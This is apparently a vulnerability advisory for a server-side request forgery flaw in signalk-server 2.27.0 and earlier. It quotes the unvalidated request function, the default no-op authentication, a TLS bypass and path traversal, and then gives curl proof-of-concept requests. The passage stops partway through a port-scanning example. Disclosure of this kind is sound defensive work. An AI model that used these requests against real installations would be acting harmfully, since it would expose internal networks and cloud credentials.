Signal K Server: Server-Side Request Forgery via Remote Connection Endpoints
Summary
signalk-server versions up to and including 2.27.0 contain a Server-Side Request Forgery (SSRF) vulnerability in three administrative endpoints used for remote Signal K server connection management. The makeRemoteRequest() function accepts attacker-controlled host, port, useTLS, and selfsignedcert parameters without any validation, allowing an attacker to force the server to make arbitrary HTTP/HTTPS requests to internal network resources, cloud metadata services, and other unintended destinations.
When security is not configured (the default state), these endpoints require no authentication.
Details
Vulnerable Function
The core vulnerability is in makeRemoteRequest() at src/serverroutes.ts:2483-2524:
```typescript
function makeRemoteRequest(
host: string,
port: number,
useTLS: boolean,
selfsignedcert: boolean,
path: string,
method?: string,
headers?: Record<string, string>,
body?: unknown
): Promise<{ status: number | undefined; data: string }> {
const protocol = useTLS ? https : http
return new Promise((resolve, reject) => {
const options = {
hostname: host, // NO VALIDATION - attacker controlled
port, // NO VALIDATION - attacker controlled
path,
method: method || 'GET',
headers: {
...(headers || {}),
...(body ? { 'Content-Type': 'application/json' } : {})
},
rejectUnauthorized: !selfsignedcert // Attacker can disable TLS verification
}
const req = protocol.request(options, (response) => {
let data = ''
response.on('data', (chunk: string) => {
data += chunk
})
response.on('end', () => {
resolve({ status: response.statusCode, data })
})
})
req.on('error', reject)
req.setTimeout(10000, () => {
req.destroy(new Error('Connection timed out'))
})
if (body) {
req.write(JSON.stringify(body))
}
req.end()
})
}
```
Missing Validation
The function performs zero validation on the destination host. The following address ranges are all reachable:
- Loopback:
127.0.0.1, ::1, localhost - RFC 1918 private ranges:
10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 - Link-local / Cloud metadata:
169.254.169.254 (AWS EC2 instance metadata, GCP, Azure IMDS) - IPv6 link-local:
fe80::/10 - Any arbitrary external host: enabling the server as an open proxy
Authentication Bypass via Default Configuration
The endpoints are protected by addAdminMiddleware() (lines 2339-2345):
```typescript
app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/testSignalKConnection)
app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/requestAccess)
app.securityStrategy.addAdminMiddleware(${SERVERROUTESPREFIX}/checkAccessRequest)
```
However, when security is not configured, the server uses dummysecurity.ts, where addAdminMiddleware is a no-op:
```typescript
addAdminMiddleware: () => {},
```
This means on a default installation with no admin user created, all three endpoints are accessible without any authentication.
Additional Attack Surface: TLS Verification Bypass
The selfsignedcert parameter directly controls rejectUnauthorized:
```typescript
rejectUnauthorized: !selfsignedcert
```
When an attacker sets selfsignedcert: true, the server will connect to any HTTPS endpoint without verifying the TLS certificate, enabling MITM attacks on the outbound connection.
Additional Attack Surface: Path Traversal in checkAccessRequest
The checkAccessRequest endpoint interpolates requestId directly into the URL path:
```typescript
/signalk/v1/requests/${requestId}
```
An attacker can use path traversal (e.g., requestId: "../../other/endpoint") to target arbitrary paths on the destination host.
PoC
Target Setup
Set up a bare-metal signalk-server for testing (or use Docker to simulate):
```bash
docker run -d --name signalk-ssrf-poc -p 3000:3000 node:22-bookworm \
bash -c 'npm install -g [email protected] && signalk-server'
# Wait for startup
until curl -s http://127.0.0.1:3000/skServer/loginStatus 2>/dev/null | grep -q "status"; do sleep 10; done
```
Set the target variable:
```bash
TARGET=http://127.0.0.1:3000
```
Confirm "authenticationRequired":false in the loginStatus response before proceeding.
PoC 1: Loopback Connection (Self-Discovery)
```bash
curl -s -X POST $TARGET/skServer/testSignalKConnection \
-H "Content-Type: application/json" \
-d '{"host":"127.0.0.1","port":3000,"useTLS":false,"selfsignedcert":false}'
```
Response (confirms SSRF, the server connected to itself):
```json
{
"success": true,
"authenticated": false,
"server": {
"id": "signalk-server-node",
"version": "2.27.0"
}
}
```
PoC 2: Port Scanning via Error Differentiation
```bash
# Open port (30
